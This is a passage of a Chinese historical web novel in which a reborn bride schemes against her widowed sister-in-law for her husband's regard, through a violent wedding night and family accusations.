《宁为主母》
2. 无宠
沈宁音想起前世嫁人的时候。
那时的她名声尽毁，沈家恨不能快点摆脱她这烫手山芋。
二十抬拼凑起来的嫁妆就匆匆打发了。
而今，她微微掀起花轿的帘子，透过暖色的缝隙——长街周遭瞧热闹的人，或坐或蹲或站，都仿佛沾染上轻盈的喜气般，充斥着快乐跟好奇的善意打量。
侍郎府的家丁们抬着嫁妆，不用看，沈宁音也知绵延极长，头前的喜乐队伍，吹吹打打，好不隆重。
赶着吉时，黄昏时分，沈宁音的喜轿落了地。
三箭之后，在喜娘搀扶中下了轿子，沈宁音跨过马鞍、跨过火盆，她踩着地上洒落的五谷杂粮与新夫郎并肩迈进了昌平侯府。
这些繁文缛节极讲究，来之前，自有嬷嬷教导。
沈夫人说，新妇到婆家第一遭，是给婆家的第一印象，十分要紧。
这大抵也是这位沈家继室为数不多真心实意的告诫了。
沈宁音绷紧精神，样样精细，不敢容一丝错漏。
等傧相喊出“送入洞房”时，终是礼成。
沈宁音绷着的心略微放松，这一放，倦意就从心底袭来。天已经黑尽，礼堂内烛火通明，宾客满座，众人言笑晏晏，衣香鬓影。
侯府门外，突然人影攒动。
一起子黑色劲装的男子气势汹汹。
沈宁音没来得及退场，她便听得堂外一阵偌大的骚动。
惊慌的呼喊声由远及近。
沈宁音前世就听闻侯府婚宴上出了岔子。
原是皇城司捉拿反贼，结果因侯府家眷受伤起了冲突，下人枉死好几个。
侯府原也不知事涉谋逆。
那皇城司副使跋扈张狂，丝毫不给侯府脸面，拔刀当场就杀人。而那位孀居的大嫂竟然挺身而出，受了轻伤，侯府也因此不肯善罢甘休。
结果可想而知，下人非但白死了，老侯爷还遭了申斥，差点儿夺爵，最后是丢了在军中的权柄。
而她要做的，就是阻止那位寡嫂作死。只要事情能大事化小，说不定，老侯爷手里的权柄能留下，而这些，都是她沈宁音日后的助力。
沈宁音正思忖。随着侯府老夫人上前怒斥皇城司，她又听得一声女人高呼。沈宁音心间一颤，忙掀开盖头看。
隔得远，大嫂周婉一身素衣拦在一个官差跟前：“你还有王法吗？！岂能不审就断罪？！她只是从乡下来投亲的。”
看似在同情怜悯，讲些道理，可从声音里沈宁音便听出周婉有恃无恐。
沈宁音意识到要糟！
那官差头顶黑色折上巾帽，身着黑底绣云纹双臂常服，身形颀长，极有压迫感。通身的气派沈宁音一眼就瞧出应该就是那位副使。
男人脸上戴着半片面具，露出的眼珠子里，尽是凶戾。
“快，把嫂子拉回来！”沈宁音脸色难看，这女人还不知她想拿官差来自我表现是挑错了人！
经她一喊，新郎官秦耀阳回过神来，下意识要上前，但昌平侯府到底还有人压着，老夫人一个眼神，立马分出两人来，一人去拦新郎官，一人去护周婉。
此时此刻，无人觉得皇城司的人真敢当面杀人。
但沈宁音却知道，他会！她几乎是提着裙摆就往那边跑。
下一秒，老嬷嬷从腰间掏出了匕首。
血花飞溅，满地鲜红，浓稠的血腥味里，老嬷嬷不可置信地缓缓栽倒。
刚刚的一切发生得太快，若非沈宁音眼力好，怕是也要以为是那老嬷嬷上前给主子挡刀了。
而事实上，这女子作死，差点儿害死自己。那位副使才是救了她。
素衣女人看见尸体愣了一下，眼睛倏然红了，她尖叫一声：“我跟你拼了。”
“婉儿！”秦耀阳发了一声喊。
电光火石间，沈宁音一把将女人拽到身后，抬手就握住了男人的刀刃。
鲜血一滴一滴顺着手掌流淌。
“大人住手！”
沈宁音自然看得出，面前的男人没什么耐心。
可她唯一笃定的是，这人没有杀心，不然她也不敢上赶着来使苦肉计。
离得近了，沈宁音对上了副使的眼睛。
他露在外的五官深刻立体，薄唇偏艳，嘴角微微下压，不笑的时候，就像是不高兴。
烛光阴影里略突出的眉骨在眼皮上落下浅淡的阴影。
此人的模样，应是极俊极美的，只是那半片冰冷的鬼面具将所有的刚柔协调撕碎，破坏，唯剩下了凶戾。
衬得其人冷若寒冰。
他恶劣地将刀柄一拧，哪怕只是很少的弧度，沈宁音掌心的剧痛却像剜心一般直抵脑海。
他怕是瞧出来了，故意的！
沈宁音疼得额头渗出冷汗，咬了咬牙却并未放手。
男人冰雪凶戾的眸子有一瞬的颤动。
“你好大的胆子！当我昌平侯府的人都死绝了么？！”老夫人厉喝一句。
沈宁音终于松开手，苦肉计是做给人看的，不是折磨自己的。
侯府自有长辈们撑着，她既已表现过了，便该退下。
一群侯府之人拦在前面，唯独不见了秦耀阳。
沈宁音眼角余光一瞥，只看见那位穿着绿罗澜袍赭銙带的新郎官，此刻正护在周婉身边。
女人捂着心口哭得梨花带雨，分明她衣服上没有一滴血是属于她的，却偏能惹得秦耀阳心疼得团团转。
烛火摇曳，有些刺眼睛。沈宁音转开脸不再看，内心毫无波动。
拢秀院，婚房。
因着皇城司这一遭，不到半夜，侯府前院的热闹就安静下来，也无人再来闹洞房。
众人给她包扎完便退了出去，沈宁音坐在婚床边等了良久，秦耀阳始终没来。
但她并不担心。
前世，大嫂周婉是为着侯府受伤，占着大义，哪怕只是轻伤，只要她一口咬定伤得厉害，就能名正言顺的留着秦耀阳守着她。
沈弦思先是婚宴受惊，本该是需要夫君宽慰的时候，再又独守空房，就更觉委屈了。
她那样从小到大骄纵的人岂能忍得下？第二天就大闹了一场。秦家上下，哪里还能再向着她？
秦耀阳更是连回门都没陪着她去，叫她丢了大脸。
而现在，周婉没事，撑死了算个惊吓，沈宁音抬起缠着布条的手，为侯府受伤的，甚至，为周婉受伤的，是她沈宁音。
无妨老夫人还是秦耀阳，今日都得给她这个体面。
果然，三更时分，门“吱呀”一声被推开来。
脚步声沉稳，在她跟前停下。
沈宁音目光上移，在盖头与地面之间的，是一双黑色皂靴。
他站了几个呼吸，方才开口：“沈二姑娘？”
“妾身沈宁音。”沈宁音态度恭顺，丝毫没有委屈不满。
她很清楚，自己越是这样懂事，越是能叫男人的愧疚与感激更深几分。
面前的皂靴左右碾动了两下，转瞬，盖头便被掀开来了。
新郎正好垂眸看着她，沉寂的眸子毫无波动，唯有烛火跳跃。
男人已经取下罗花直脚幞头，墨发半绾，如乌黑的锦缎般垂在脑后。
秦耀阳的长相，人如其名，浓烈而深刻，低眉之际，眼尾上挑，更衬出其矜贵与逼人的浓俊来。<
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p>沈宁音想，这等拔尖模样，比起冷家那位，怕是都要好看上三分的。也难怪前世的沈弦思后来不惜下药才终于圆房。
秦耀阳嗓音低沉清润，看着沈宁音的眼睛：“娶你非我本意，我不喜欢你，你可明白？”
“妾身明白。”沈宁音低着头，答得毫不犹豫。
怕她没听懂，秦耀阳凝眉接着道：“若我说以后都不碰你。你也没有不满？”
“没有。”
许是没料到她会回答得这么干脆，秦耀阳沉默了。
秦耀阳并不知道，沈宁音前世也是如此，冷元景说是心中只有沈弦思，其实仔细想想，他不肯让她生下子嗣，又未尝不是想要借着阮家的财力，再吞没了她后来辛苦经营出来的大量嫁妆财富来铺青云路？
上辈子就守着活寡的沈宁音对这种事其实并不在意，有，亦可，没有，也无妨。只是她再不会像前世那般费心费力去教养庶子庶女。
人心都隔肚皮，更何况还隔着旁人肚皮的。
此时的沈宁音甚至觉得，秦耀阳肯当面锣对面鼓地说出来，倒也坦率明了。
秦耀阳因着沈宁音救了周婉，再加上祖母耳提面命，原想着过来敷衍一下说清楚就走的。可这会儿新夫人这般柔顺恭婉，他若是直接扔下人走，连他自个儿心里这一关也过不去。
抿着唇看她，秦耀阳百般纠结不好开口。
沈宁音伤口疼，身上累，不耐烦再与他敷衍，软声道：“夫君，若无事，就先歇息吧？”
她指了指床边的屏风，屏风后有个软榻：“妾身可以去那儿。”
“不用，我去就好。”秦耀阳脱口而出，意识到自己说了什么，便也松了口气地点点头，他身上紧绷的线条似乎都柔和下来。
“今儿，多谢你救下婉儿。”
如果说先前的沈宁音还不确定前世沈弦思曾回家哭诉的事。那现在，她几乎可以确定，秦耀阳钟情寡嫂是真。
这样无视三纲五常，煊赫一时的昌平侯府，到这一代，到底是走下坡路了。
秦耀阳抬起沈宁音受伤的手：“还疼不疼？你放心，祖母与父亲都说会替你讨个公道！”
疼！但沈宁音面不改色地收回手，他不想碰自己，沈宁音更不想被他碰。
沈宁音低眸浅笑：“妾身不疼。”
她眸光里神色真诚恬淡，：“这点小伤不值一提，还请夫君劝劝祖母与父亲莫要因为我得罪皇城司。还有家父那边，也不必知会。”
秦耀阳没料到她会这样说，方才还略显敷衍的神色，此刻染上一丝真实的怜悯与敬重：“这怎么行？”
“你是我秦家妇，皇城司再跋扈嚣张，也不能委屈了你。”
他神色看起来分外认真，但沈宁音虽没尝过男人，却知男人本性，尤其秦耀阳这样的，他们情绪上来时，对你要多真心有多真心，等心头的热血平复下来，想起他的心尖肉掌中宝来，谁还记得许诺过你什么？
沈宁音若因此感动，因此当了真，那就算白活一遭。
她微笑：“有夫君这句，妾身便不觉委屈了。”
歇下时，两人还没喝合卺酒，但谁也没提。左右沈宁音也不是来儿女情长的。
四君子纹样丝绣屏风将一对新婚夫妻隔绝开来。
新婚夜，秦耀阳留宿了。
便是没睡到一张床去，在外界看来，也没什么影响。
与前世独守空房大闹侯府被人嘲笑的沈弦思不同，今天之后，她沈宁音就是名副其实的少夫人。
这时，窗外隐约传来说话声。
沈宁音原本的昏昏欲睡，在外头一声凄切呼唤里荡然无存。
“二爷！”
3. 争夺
“二爷！您去看看大少夫人吧！”
沈宁音抓起衣裳披在肩膀，绕过屏风就瞧见秦耀阳已经起身。
外头是谁，沈宁音囫囵也能猜到。
前世时，虽与沈弦思交流并不多，却也从流言蜚语里揣度出那周婉一二。
这寡嫂可不是好相与的，回回都能将骄纵的沈弦思气个半死，也是那沈弦思不肯服软，每每拈酸吃醋，昌平侯府一开始还哄着，可作到后来，连下人们也都不将她放在眼里。
秦耀阳推开门。
周婉身边儿的贴身丫鬟香柚正被两个婆子押住，看见秦耀阳衣衫不整，香柚瞪大了眼睛。
秦耀阳手指攥紧正要冲婆子们发火，沈宁音已经先他一步开口：“放肆，还不快将人放开！”
沈宁音抢了先，秦耀阳便也不好再发作什么。
两个婆子都是侍郎府陪嫁过来的，听了这话不禁着急：“少夫人，这小蹄子……”
沈宁音目光一冷，睃在两人脸上，这二人连忙松了手。
若没人纵着，这人能闹到她跟前来？沈宁音思忖，周婉在侯府的地位，怕是比她预想的还要高得多。
打狗，多没意思，要打，就得打她背后主子的七寸。
香柚是个会来事儿的，也顾不得诧异了，飞快扑过去抓住了秦耀阳的脚，匍匐在他跟前，哭得一字一泣血：“二爷，大少奶奶晕过去了！想必是惊吓过度。奴婢们六神无主，主子们又都忙，奴婢只能想到二爷了！”
秦耀阳想来是承诺过周婉什么的，闻言既羞愧又紧张：“好！我马上……”
香柚眼里的得逞笑意还未绽开，沈宁音已经提高音量唤了一句：“夫君？”
听了这声唤，香柚满心都是鄙夷。她立在一旁，只等着世子爷冲新娘子发火。
十年，香柚太熟悉这种事了，但凡有人阻了世子爷与主子相见，便是夫人与老夫人，都能惹得世子发疯。
她沈家一个刚入府的女人，还真想越过大少夫人去？
可与香柚预料不同的是，秦耀阳虽面上有不满，却并未甩下新夫人径直离去，他反倒是停住脚步，扭头看过去。
“宁音。”男人绷着的神色微收，语气带着生硬：“我先去看看。”
“好。”沈宁音丝毫不见嫉妒，她只上前，用眼角余光瞥了香柚一眼，温柔地替男人整理腰带，又将他领子上的褶皱抚平整。
秦耀阳没料到妻子竟不阻拦，一时僵在当场，忘了避嫌。
香柚的眼睛死死盯着沈宁音的手，世子爷洁身自好，除了她家主子，从没有女人能靠得这么近。
沈宁音收回手，声音温柔：“夫君，几时回来？”
秦耀阳回过神，他最烦人管他，于是眉头微蹙，语气里染了一丝不满：“先看看再说。”
没说回，也没说不回。
整个现场气氛无端压抑起来，所有人大气都不敢出。
众人知晓，洞房花烛夜，新郎若是被人给喊走，这二少夫人怕是往后便要被传出无宠的流言去。
沈宁音更清楚，周婉在府邸深耕十年，拿捏秦耀阳的性子是万分厉害的。她比不得。
秦耀阳一定会走。
可周婉这是要给她下马威。秦耀阳但凡进了她的盘丝洞，今儿晚上，就别想回得来了。
“二爷！”香柚期期艾艾的声音再次响起，配合着周婉的盘算。
这声音，就仿佛是那一根一根压垮骆驼的稻草。
秦耀阳本就将周婉捧在心尖尖上，哪里经得住几次喊？
沈宁音当机立断，就在他攥紧拳头要走时，一把拉住了秦耀阳的袖子，男人一动，她便闷哼一声。
秦耀阳回头，一眼就看见她手腕上细白的纱布渗出血来。
“宁音？你怎么样？”
“妾身没事。”沈宁音脸色苍白。
她是那么地温柔懂事，再联想起她这伤是为着周婉生受的，秦耀阳心下一痛，又愧疚得走不动了。
正所谓见面三分情。心里想象的与眼前殷红的血色相较，到底是眼见的胜了半筹。
还不够。
沈宁音微微用力，不动声色将伤口扩大。
纱布上的血肉眼可见地往外头扩去。
香柚见秦耀阳踌躇不前，一咬牙，带上了哭腔：“二爷！大少夫人真的很严重。”
秦耀阳许是想到了往日里周婉的美好，目光最后落在了沈宁音脸上，张口：“宁音，我……”
沈宁音心下一叹：“妾身明白。妾身不是要留你。”
她大抵不过想试探底线，也不指望刚进门就能叫他真正心疼。
沈宁音苍白的笑容里是温婉大度：“嫂嫂年纪轻轻就守了寡，很不容易，侯府多帮衬她是应该的。”
“今儿受了惊，必是挺严重的。”
秦耀阳脸上的神色略微舒展：“你理解就好。”
若嫁过来的是个不讲理的，他大不了一甩袖子便走，偏沈宁音棉花似的，硬的来不得，只能来软的。
沈宁音转眸，立马吩咐几个下人去请老夫人和夫人。
香柚听罢连忙大喊：“二少夫人！您这是做什么？是要告到老夫人和夫人处去？”
秦耀阳被这声音一激，身子骤然颤了颤，震怒道：“沈宁音！这点小事你就要闹到母亲和祖母跟前吗？
原以为你是个稳重识大体的，没想到你竟是这种人！”
沈宁音看着男人脸上的怒意越发灼烧，活像是只被踩了尾巴的猫。
新婚夜，他要去陪别的女人。这种事秦耀阳自己可以觉得羞愧，却不代表能叫沈宁音说出来。
她若说了，性质就不同了。
那就是她要逼着他留宿，就是她要争，要抢。她就是不安分的女人。
秦耀阳绝不姑息。
他越想越气，觉得沈宁音刚刚在新房里的一切都是装出来的，忍无可忍地大吼了一句：“你少管我！”
沈宁音看他转身要走，立马冲上前去：“世子！”
“你滚开！”秦耀阳随手一推，怒气上头的他也没拘着轻重。
沈宁音整个人都朝着一旁的栏杆撞了过去，“砰——”一声闷响，她张嘴发了一声痛呼。
男人到底是转头看了眼，见她捂着头，满脸痛到扭曲，应是受了伤。
秦耀阳不由得呼吸一滞，怕真惹出事，想上前，又还在气头上。
一幅纠结样子。
香柚才不管那么多，趁着众人都看顾沈宁音，她就要去拉着秦耀阳走。
沈宁音的声音略哑，虚弱却十分清晰：“世子，嫂嫂身子不好，怎会是小事？”
秦耀阳心头一震，愣怔当场。香柚拽了拽衣袖，竟没拽动。
沈宁音被人搀扶着起来，一个眼神，便有人婆子上去制住了香柚。
沈宁音神色严肃，眼角还有疼出来的一丝湿润：“咱们既然要对嫂嫂好，便要事事重视起来，对是不对？”
秦耀阳沉默。
“兰香。”沈宁音大声道。
兰香惊魂未定，慌忙走过来跪下：“奴婢在。”
沈宁音掏出随身玉佩，吩咐：“拿着我的玉佩，去找沈家常看的郎中来。
来给大嫂诊治。”
秦耀阳震惊在当场。
沈家虽因为辅佐过伪圣，如今很不受圣人待见，沈定山只在侍郎一职不得寸进，权力还
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疑似被架空，但他到底是三朝老臣，底蕴还在。
沈定山曾有恩于太医，所以，沈家的那位郎中乃是太医院退下来的老太医，医术高明，且极有原则。这在上京城不是什么秘密。
秦耀阳没想到自己这样对待沈宁音，她竟还这般好意，亲口让丫鬟去请神医。
“不需要！”香柚离得近，心下便意识到不好，白着脸忙掩饰道：“咱们自己有郎中！”
秦耀阳没说话。
香柚更急了，脱口而出：“二爷！她怎会如此好心？怕不是心里藏了什么祸心，要害大少夫人！”
香柚没见识，秦耀阳却不是。那可是柳太医，寻常人请都请不来的神医，沈宁音肯着人请来，那是卖了好的。
因着大堂里沈宁音挡下那一刀，秦耀阳本就觉得亏欠了她，刚刚又害她撞了脑袋，这会儿再由着香柚污蔑，简直就是打他的脸。
也不等沈宁音发落，秦耀阳先变了脸色。
“住口！”秦耀阳咬牙，声音又怒又急指着香柚的鼻子：“是爷从前太纵着你了，跪下！给二少夫人磕头认错！”
这少夫人位置，是侯府给的，可如今当着仆婢们的面，秦耀阳把“二少夫人”四个字讲出口。
那便等同于他认可了沈宁音。
香柚犹如五雷轰顶，呆滞当场，她是亲耳偷听到世子曾与主子私语，说绝对不会让新夫人越过了主子去的。
香柚只替主子婉转了万千委屈愁肠，眼泪大颗大颗掉下来。
旁边儿的婆子往她膝弯儿一踢，香柚两只膝盖重重砸在地上。
在香柚看来，秦耀阳从来都是温柔的。
二爷在外头纵有恶名，那也与他们院子不相干。
没想到，有朝一日，温柔的世子爷竟这般对她！
沈宁音冷眼旁观，瞧着那丫鬟的表情，心下不禁慨然。
秦耀阳当真对周婉好极，连带着她的丫鬟都一并爱屋及乌。
女人一旦习惯了男人的好，就会生出些臆想来，这香柚却忘了自个儿不过是个主子身边附带的玩意儿，入不得男人的眼，着实可悲。
秦耀阳冷漠地看着脚边的女人。
香柚一时半刻不开口，他就想发作。
沈宁音撂下一句：“是妾身枉做小人了，世子也不必罚她。”话罢转身回了屋。
秦耀阳是个爱面子的，沈宁音手掌上的纱布已被染透，红得触目惊心。再加上刚刚自己不分青红皂白推她的那一下，下人们统统都看着。他臊得红了脸，心里莫名难受，捞起衣摆就要追。
香柚却一把抓着他的脚踝：“二爷！”
秦耀阳低头看去，女婢红着眼圈，满眼的委屈与控诉。
若换了从前，他哪里舍得那人院儿里的人磕着碰着，唯恐她见了垂泪。
可此时此刻，秦耀阳只觉着眼前的婢女十分碍眼。
男人一脚踢过去，正中婢女脸上：“带下去！狠狠掌嘴！”
夜色如墨，屋内添了灯烛。
火焰跳动中，暗的更暗，亮的更亮。
“出去吧，我来。”秦耀阳的声音在身后响起。
沈宁音旁边拿着药粉、纱布的染竹便躬身退了出去。
她抬起眼眸，四目相对，男人眉眼低垂，伸手抓住了她的手腕，一点一点松开染血的布绦。
“妾身没什么事。”依旧是恬淡的声音。
只是呼吸间，能听出一丝隐约的痛。
秦耀阳听着她说话，似乎也没有了曾经以为的那样刺耳，不耐的感觉一点点消散开。
“嘶——”沈宁音低低的吸气声传来。
秦耀阳手指一颤，细看时，不禁瞳孔骤缩。
4. 控诉
夜色寒凉，伤口本就结过痂，秦耀阳牵开纱布时血已经凝固，刀口处的皮肉被那纱布一带，便翻卷开来，尤其显得可怕。
莫说沈宁音咬着银牙隐忍，便是秦耀阳看着也觉肉疼得厉害。
他瞳孔震颤，面露不忍。
老侯爷是沙场里打拼过来的，他那位身陨的长兄也是死在战场上。
到了秦耀阳这儿，作为昌平侯唯一血脉，就再没有上过战场。
他是没见过血的，心里、眼里，就只有那些风花雪月。沈宁音深知道这一点。
“妾身自己来吧。”
没有去等他回答，沈宁音伸左手用力，撕扯间，血痂破开，纱布粘着皮肉，伤口变得更大、更开，新鲜的血珠沁润出来，触目惊心。
而她咬紧唇瓣，就仿佛手不是自己的。惨白着脸色，从头到尾，没喊一句疼。
这等模样，叫秦耀阳看得揪心又震撼。
秦耀阳别过头，不敢再看。
他从小到大，从没有见过她这般女子。
那些女人谁不是擦伤了一块就哭红了眼的？
“好了。”
女人温软的嗓音，与那过分坚韧的印象，像是截然不同的笔锋交错，被衬托得分外动人。
秦耀阳连忙转眸，低着脑袋给她上药，又在不经意略过那深红的伤口时加重了呼吸。
除了心疼，更多的是怕。
药粉因他手指的轻颤抖落在桌案上，细细碎碎的。
沈宁音看在眼里，没有说话。
她就是要让男人看着，记在脑子里，这些能震撼他的画面就会像一颗颗的种子，在合适的时候被激发出来，发芽，开花。
包扎好，沈宁音将手收回袖子里，往后避嫌。
秦耀阳看着空了的手，一时松了口气。
片刻后，沈宁音打破了沉默。
“世子在想什么？”
秦耀阳回过神，站起身，表情颇有些不自在：“没有。”
沈宁音抬眸，四目相对。
秦耀阳的性子与冷元景相比，自是好懂得多的。沈宁音知道他在等自己质问。
或闹或哭，都能叫他心里好受。
沈宁音偏不遂他的意。
“世子且宽心，大嫂是有福气的，一定不会有事。”
沈宁音绝口不提自己，更不提额头上的伤，贤惠大度，让他愈发愧疚。秦耀阳的目光飞快扫过她头部，白皙的额角上，有一个乌青的痕迹。那是他做下的。
秦耀阳蹙眉，一股子对自己的闷气无处发泄，半晌的沉默后：“那丫鬟，我已经罚了。”
沈宁音只点点头：“世子做主就好。”公事公办，丝毫不见欣喜。
她就像团棉花，柔软淡漠，卸了你的力道，叫你无从着手。
秦耀阳有些失望。
而现在，沈宁音要给他一个宣泄的口子，要一起去看看那周婉，看她今儿要如何收场。
兰心居，周婉的院子内。
往日缟素，今儿也因着前院的喜气挂了几盏红灯。
灯笼下，下人们围在一处，不敢大声，只窃窃私语。
次间里安抚着周婉的侯夫人闵氏忽见陶妈妈站在门口朝自己张望，正想着不动声色过去。
一旁的老夫人皱眉道：“有什么话，不能当面讲。”
陶妈妈看了下闵氏的脸色，这才道：“世子过来了。”
老夫人眉心越皱越深：“他来做什么？撵回去。”
周婉身子一颤，慌忙看向了老夫人。
闵氏连忙起身道：“母亲，昭儿只是关心婉儿……妾身去引他进来。”
“不准去。”老夫人睃了闵氏一眼，愠怒：“沈二姑娘嫁过来，在婚宴上替咱们侯府生受了一刀。那么多人看着，咱们再放任昭儿胡闹冷落于她，咱们侯府还要脸不要？”
耀阳是秦昭的表字。
秦耀阳是老夫人叫去新房的，她怎样也不能自打自脸。
周婉听罢，眼瞳里露出不甘来，却又不敢说什么，只是垂下的娇美脸庞上浮现了一抹苍白，愈发显得楚楚可怜。
闵氏默了默，道：“母亲，外头冷，昭儿的脾气你不是不知道，若是不让他进来，怕是要硬闯的。
如此，不是一样冷落了沈氏么？”
老夫人皱紧了眉头。
秦耀阳是侯府独子，蛮横惯了，打也打不怕，他自小就那样，只要不打死，他定要达到自己想要的目的。
所以府里也都由着他，只要他别想着上阵杀敌也就随他去了。
老夫人一想到这个孽障就头疼，此刻都不禁觉得，沈宁音怕是要受挺多他的欺负，然后将侯府闹翻了天去。
这时，陶妈妈开口：“夫人，老夫人，外头二少夫人也来了。”
老夫人闻言一愣，思忖片刻后松了口：“叫他们进来吧。”
秦耀阳冲进屋子，目光一眼就看向了软榻上的周婉。后者眼底的神采就仿似蔫去的花儿在一瞬间莹润鲜活了起来。
秦耀阳想过去，老夫人一声咳嗽，他才老实了。
沈宁音是随后进来的，夫妇二人一起施礼。
将才礼堂太乱，老夫人这会儿细细打量这位孙媳。
但见她眉似远山，一双眼睛明媚潋滟，秋水一般，柔婉中染着一丝媚，可端庄的气质加诸之下，却又半分不显袅娜张扬。
尤其那通身的行止规矩，一眼就能分辨出，是权贵家精心打熬出来的大妇胚子。
单论这个，任谁也挑不出错来。
可架不住闵氏瞧不上沈宁音。
闵氏一脸不耐道：“今儿已经够乱了。这新婚之夜，你不服侍着你夫君歇息，还撺掇着他到处走动做什么？”
闵氏的话很不客气，带着点迁怒，把一切都归咎到儿媳身上。
沈宁音闻言，却也不推脱，只态度恭敬认下：“母亲教训得是。”
沈宁音牵着裙裾要跪下，老夫人正要开口，却见旁边的秦耀阳已经一把拉住了她：“又不是你要来的，要跪也是我跪。”
老夫人眉梢微轩，闭了嘴，目光只在秦耀阳与沈宁音之间来回梭巡。
秦耀阳要跪，闵氏被这样一搅和，也只好冷着脸免了跪。
等一应事了，秦耀阳终于逮着机会着急询问：“婉儿你怎么样？”周婉也不说话，见他问，看了沈宁音一眼，眼泪顺着脸颊颗颗往下落。
她素来如此，遇着委屈也不开口，只叫男人去猜，秦耀阳越猜越是心疼，他就会为着心上人寻来无数理由，而周婉，连个借口也不必找。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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秦耀阳眸光一顿，也看向了沈宁音。
从前每次，周婉像这般暗示旁人欺负了自己，秦耀阳必定立即处置了那人。
再不济也要发一场疯。
可这次，秦耀阳哪怕眼神不悦，却也没开口。看向沈宁音，似在等她的一个解释。
只是这一眼，周婉心脏一紧，一股子危机感瞬间弥漫上头。
秦耀阳不开口，沈宁音也是不动如山，神色里万分无辜。
秦耀阳愿宠着他的小姘头，愿意去猜她心思，沈宁音可没义务惯着周婉。
古怪的沉默中，周婉只好掩着唇咳嗽了几声。
这时，她身边一个小丫鬟哭着跪下来：“还请老夫人、夫人和世子爷给我们大少夫人做主。”
沈宁音眉梢微动。
主子们说话，没人询问之下，仆婢自己上来回话的，极没有规矩。
这样的情况，搁前世的沈宁音手里，至少要先扇几个耳光长长记性。若是话里再有半分不对，又或是遇着她自己不高兴，莫说半句解释，那是直接将人拖下去乱棍打死了事的。
可此时此刻，现场竟无一人阻拦。
沈宁音也不点破，由着那小丫鬟放肆。
那丫鬟悲愤哭道：“香柚姐姐原是去讨示下，许是走错了路，二少夫人的仆婢不待见她，撵走就是，可她被二少夫人的恶奴扔回来时，脸上被打得不成样子！只剩一口气了！”
沈宁音确实没料想那些婆子会下这么重的手。若说恶奴，侍郎府给她挑的下人，没一个好相与的，这些人做惯了阴私事情，都是沈夫人使惯了的，说一句恶奴，那是半点不冤枉。
但……那香柚可不是走错了路。沈宁音没辩驳，目光往旁边略瞥，果然见秦耀阳的脸色瞬间阴沉下来。
那丫鬟还在继续哭：“我们少夫人不愿妯娌不睦，不肯说出来，可二少夫人实在狠毒，奴婢真的看不过眼！”
“大少夫人守寡多年，任劳任怨。”她砰砰砰地磕头：“看在她没有功劳也有苦劳的份上，求主子们替大少夫人做主！”
老夫人眼圈湿润，她守寡多年，最是疼惜周婉。
闵氏察言观色，也擦了擦眼泪，头一个怒了：“沈宁音！婉儿是你嫂嫂，她的大丫鬟是陪着她长大的，今儿她刚被皇城司砍死个同乡，你竟然又要打杀了她的贴身丫鬟！你们侍郎府就是这样教养嫡小姐的吗？！”
“这般狠毒跋扈，简直令人发指！”
闵氏咒骂着，沈宁音抿着唇，一脸恭顺地听，听到激烈处，还要擦一擦眼角，可她却既不跪下，也不低头请罪。
闵氏看她这表现，越骂越气，攥紧帕子浑身颤抖，大喊了一声：“来人呐，把那几个刁奴押过来！”
“这侯府可还没轮到他们主子当家！”
老夫人没说话，只轻拍着周婉的手背，而周婉则躺在榻上隐晦地看了一眼沈宁音。
此刻的沈宁音，俨然已成众矢之的。
沈宁音眼圈说红就红，也没解释半句，欲言又止：“妾身……”
她作势要跪。
可闵氏还没来得及冷笑，却见秦耀阳一把拉住了妻子。
沈宁音抬头对上男人的眼。
众人皆大惊失色，而周婉的那张美人脸瞬间惨白。
5. 责问
“你又没错，何必去认？”秦耀阳皱了眉头，语气怜惜中带着责备。
沈宁音的手臂被捏得用力。她知晓，将才在新房的努力并没有白费。垂下眼睫，沈宁音掩饰眼底的眸光：“嗯。”
秦耀阳松开手，转头看向闵氏：“母亲，人是我处置的。”
“千错万错都是孩儿的错。”
沈宁音嘴角微微抿，目光扫过，没有漏掉周婉看向秦耀阳时眼底一闪而过的哀怨。
闵氏被架在当场，下不来台，大声道：“昭儿，你可万不能替沈氏开脱……”
“孩儿没有。孩儿说的是事实。”秦耀阳梗着脖子满脸坚定。
沈宁音捏着帕子轻咳，态度恭顺：“母亲，也怪儿媳，没能劝着世子。还请母亲责罚。”
闵氏哪里能罚？就连想迁怒沈宁音的由头也让她抢白了。
闵氏只觉堵得慌。
“好了。”老夫人深吸口气，出面打圆场：“不就是个下人，罚了也就罚了。”
“昭儿。快扶你娘子坐。”老夫人看向沈宁音的目光也没了犀利，柔和起来。
秦耀阳刚抬手去扶。
沈宁音知道周婉在，若真叫他扶了，倒是为难他了，就自己移步坐到了椅子上。
她坐定后抬头。
“宁音，你头上的是……”老夫人惊噫。
沈宁音年轻，额头上的皮肤白皙细嫩，烛光一照，淤伤便会十分显眼。
秦耀阳身子一僵，缓缓握紧了手掌，他张了张嘴。
沈宁音就接过话来，遮着额头语气温婉：“是孙媳不熟路，大意磕到了。”
闵氏听了，冷着脸道：“都说你侍郎府的姑娘聪慧端庄，你这般不仔细，真是丢人。”
沈宁音脸上是惭愧的笑，可眼底毫无波澜，福身道：“母亲教训的是，儿媳以后一定小心谨慎，不会再行差踏错。”
秦耀阳臊得慌，道：“宁音遣了人替婉儿找郎中，想来已在路上，到时候正好也给宁音瞧瞧。”他看向沈宁音的目光更添感激。
“郎中？”老夫人微转深眸：“婉儿也没受伤，再说，咱们府里也有奉养的郎中。”
老夫人话里的防备极隐晦，沈宁音却是听出来了，她连忙起身，软语解释：“祖母，大嫂今儿派人来婚房请世子，说是受了很严重的惊吓。孙媳怕出了事，才琢磨着主动请郎中来好生瞧瞧。关心则乱，是孙媳僭越了。”
老夫人听罢眉头明显皱了起来。一开始沈宁音派人来请，她也只以为是孙媳使心眼子。如今又哪里不明白她话里的弦外之音？
“婉儿？”老夫人看向周婉。
所有人的目光都望了过去，将那一直躲在后面的女人无所遁形地暴露在关注之下。
秦耀阳也在看周婉，屋内所有人都不说话，可心里自有一番比照。
周婉没受半点伤，此刻歪在床上，仿若受了天大的苦痛。
而沈宁音，今天挨了一刀，流了那么多血，却一声不曾吭过。
两人的对比未免太过强烈。
就连秦耀阳都蹙起了浓眉。
周婉心下的惊慌一闪而逝，抬头就对上了沈宁音似笑非笑的眼，她苍白的脸上映着烛光，神色与跳跃的灯火仿佛融合在一处。
周婉抿着唇，突然，她一把掀开被子下床，直接跪在了地上。
她穿着岑薄的衣裳，在夜风里微微颤抖，这一下发生得太突然，直把在场的老夫人、夫人和秦耀阳都看懵了。
“婉儿，你这是做什么？”闵氏连忙去扶。
尤其秦耀阳，他虽然没动，可袖中的手指紧握，心疼之色实在明显。
周婉不肯起来。
